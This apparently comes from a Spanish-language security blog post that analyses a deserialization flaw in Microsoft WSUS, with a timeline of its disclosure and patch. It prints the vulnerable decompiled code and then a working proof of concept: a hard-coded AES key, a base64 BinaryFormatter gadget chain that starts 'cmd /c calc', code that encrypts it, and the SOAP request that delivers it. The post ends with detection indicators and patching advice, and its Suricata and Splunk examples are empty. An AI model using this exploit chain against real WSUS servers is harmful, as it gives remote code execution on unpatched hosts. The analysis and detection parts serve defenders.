Antes de entrar al meollo: sí, hubo quien avisó antes que Microsoft — NVD y varios vendors/CTI publicaron entradas y avisos; HawkTrace publicó el análisis técnico el 18/10 y eso fue el punto de inflexión que forzó la reacción acelerada del vendor: Microsoft terminó sacando un parche out-of-band (23–24 Oct 2025) tras publicaciones técnicas y evidencias de explotación.
- 14 Oct 2025 — NVD publica la entrada del CVE (CWE-502, deserialización): NVD
- 18 Oct 2025 — HawkTrace publica su análisis técnico: HawkTrace
- 20–23 Oct 2025 — vendors y equipos de CTI (Tenable, CrowdStrike, Check Point, etc.) ya tenían fichas/alertas y algunos MSP/EDR recibían avisos. Ej. Tenable
- 23–24 Oct 2025 — Microsoft publica el parche OOB para WSUS. Microsoft Support
- 24 Oct 2025 en adelante — equipos como Huntress reportan observaciones de explotación en campo (limitadas, pero reales).
Dicho ésto vamos a lo que nos interesa. La vulnerabilidad reside en la ruta de tratamiento de ciertas entradas externas (peticiones SOAP/HTTP que WSUS expone — por ejemplo endpoints como /ClientWebService/ClientWebService.asmx y rutas relacionadas con SoftwareDistribution) donde WSUS recibe datos que contienen objetos serializados.
El usuario envía una solicitud. Tras procesarla, la primera parte llega aquí, donde recupera valores como la cookie y la fecha de los datos proporcionados.
public Cookie GetCookie(AuthorizationCookie[] authCookies, Cookie oldCookie, DateTime lastChange, DateTime currentTime, string protocolVersion)
{
if (Client.clientImplementation == null)
{
Client.CreateClientImplementation();
}
string ipaddress = this.GetIPAddress();
return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, currentTime, protocolVersion, ipaddress);
}Como veis se llama al método ClientImplementation.GetCookie. Este método realiza varias operaciones, como comprobar si la cookie está vacía e intenta analizar la versión del protocolo. Si todo funciona correctamente, pasa los datos al otro método, AuthorizationManager.GetCookie.
A continuación, procede al método CrackAuthorizationCookie, que verifica el ID del plugin proporcionado en SOAP.
En UnencryptedAuthorizationCookieData y CrackAuthorizationCookie, verifica si la cookie está vacía y la pasa al método DecryptData:
internal object DecryptData(byte[] cookieData)
{
if (cookieData == null)
{
throw new LoggedArgumentNullException("cookieData");
}
ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
byte[] array;
try
{
if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize)
{
throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
}
array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
}
finally
{
cryptoTransform.Dispose();
}
object obj = null;
if (this.classType == typeof(UnencryptedCookieData))
{
UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
try
{
unencryptedCookieData.Deserialize(array);
}
catch (Exception ex)
{
if (ex is OutOfMemoryException)
{
throw;
}
throw new LoggedArgumentException(ex.ToString(), "cookieData");
}
obj = unencryptedCookieData;
}
else
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(array);
try
{
obj = binaryFormatter.Deserialize(memoryStream);
}
catch (Exception ex2)
{
if (ex2 is OutOfMemoryException)
{
throw;
}
throw new LoggedArgumentException(ex2.ToString(), "cookieData");
}
if (obj.GetType() != this.classType)
{
throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
}
}
return obj;
}Este método procesa los datos de cookies cifrados mediante los siguientes pasos:
- Validación de entrada: Comprueba si cookieData es nulo y valida la alineación del tamaño del bloque.
- Descifrado: Utiliza AES-128-CBC mediante cryptoServiceProvider.CreateDecryptor() para descifrar los datos de las cookies.
- Procesamiento de bloques: Divide y transforma los datos cifrados en bloques descifrados.
- Comprobación de tipo: Determina si los datos son UnencryptedCookieData o requieren deserialización.
- Deserialización insegura: Si no son UnencryptedCookieData, pasa los bytes descifrados directamente a BinaryFormatter.Deserialize().
- Este último paso representa la vulnerabilidad crítica: los payloads maliciosos cifrados pueden deserializarse, lo que provoca la ejecución remota de código.
static void Main()
{
//key
string hexKey = "877C14E433638145AD21BD0C17393071";
byte[] key = new byte[16];
for (int i = 0; i < 16; i++)
key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);
string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";
byte[] ser = Convert.FromBase64String(ysooo);
byte[] enc = EncryptPayload(ser, key);
string base64Payload = Convert.ToBase64String(enc);
Console.WriteLine(base64Payload);
}
static byte[] EncryptPayload(byte[] data, byte[] key)
{
using (var aes = new AesCryptoServiceProvider())
{
aes.Key = key;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.None;
aes.IV = new byte[16]; // null
byte[] salt = new byte[16];
new RNGCryptoServiceProvider().GetNonZeroBytes(salt);
using (var encryptor = aes.CreateEncryptor())
{
int num = data.Length % encryptor.InputBlockSize;
int num2 = data.Length - num;
byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
encryptor.TransformBlock(data, 0, num2, result, salt.Length);
byte[] paddedBlock = new byte[encryptor.InputBlockSize];
for (int i = 0; i < num; i++)
{
paddedBlock[i] = data[num2 + i];
}
encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);
return result;
}
}
}Process.Start con la cadena cmd /c calc construido seguramente con yoserial.<CookieData> dentro del AuthorizationCookie del método GetCookie.POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>[GENERATED PAYLOAD]</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>Detección práctica e IOCs que ya puedes usar (inmediato)
-
Detectar el blob en red / IIS
-
Buscar POST a
/ClientWebService/Client.asmxconSOAPAction: GetCookieyCookieDataque, al decodificar Base64, comience porAAEAAAD/////o contenga/c .... -
Regla Suricata orientativa:
-
-
Detectar ejecución en host (Sysmon/EventID)
-
Sysmon EventID 1 (Process Create): procesos
cmd.exeocalc.execonParentImagesiendo el proceso WSUS (w3wp.exe,WsusService.exe,svchost.exesegún despliegue). -
Query ejemplo (Splunk):
-
-
Correlación: si ves una petición SOAP sospechosa y a la vez un Process Create coherente en la misma ventana temporal, considera host comprometido.
Recomendaciones inmediatas (si gestionas la infraestructura)
- Parchea YA todos los servidores WSUS con el OOB de Microsoft.
- Si no puedes parchear de inmediato: aisla/bloquea acceso externo a 8530/8531 y limita a subredes de administración.
- Habilita/afina telemetría: Sysmon con captura de línea de comando, EDR con detección de creación de procesos por los servicios WSUS, y reglas IDS para blobs BinaryFormatter.
- Si ya detectas una petición con este blob y procesos creados: aisla el host y toma acciones forenses (volcado de memoria, recolección de logs).

Comentarios
Publicar un comentario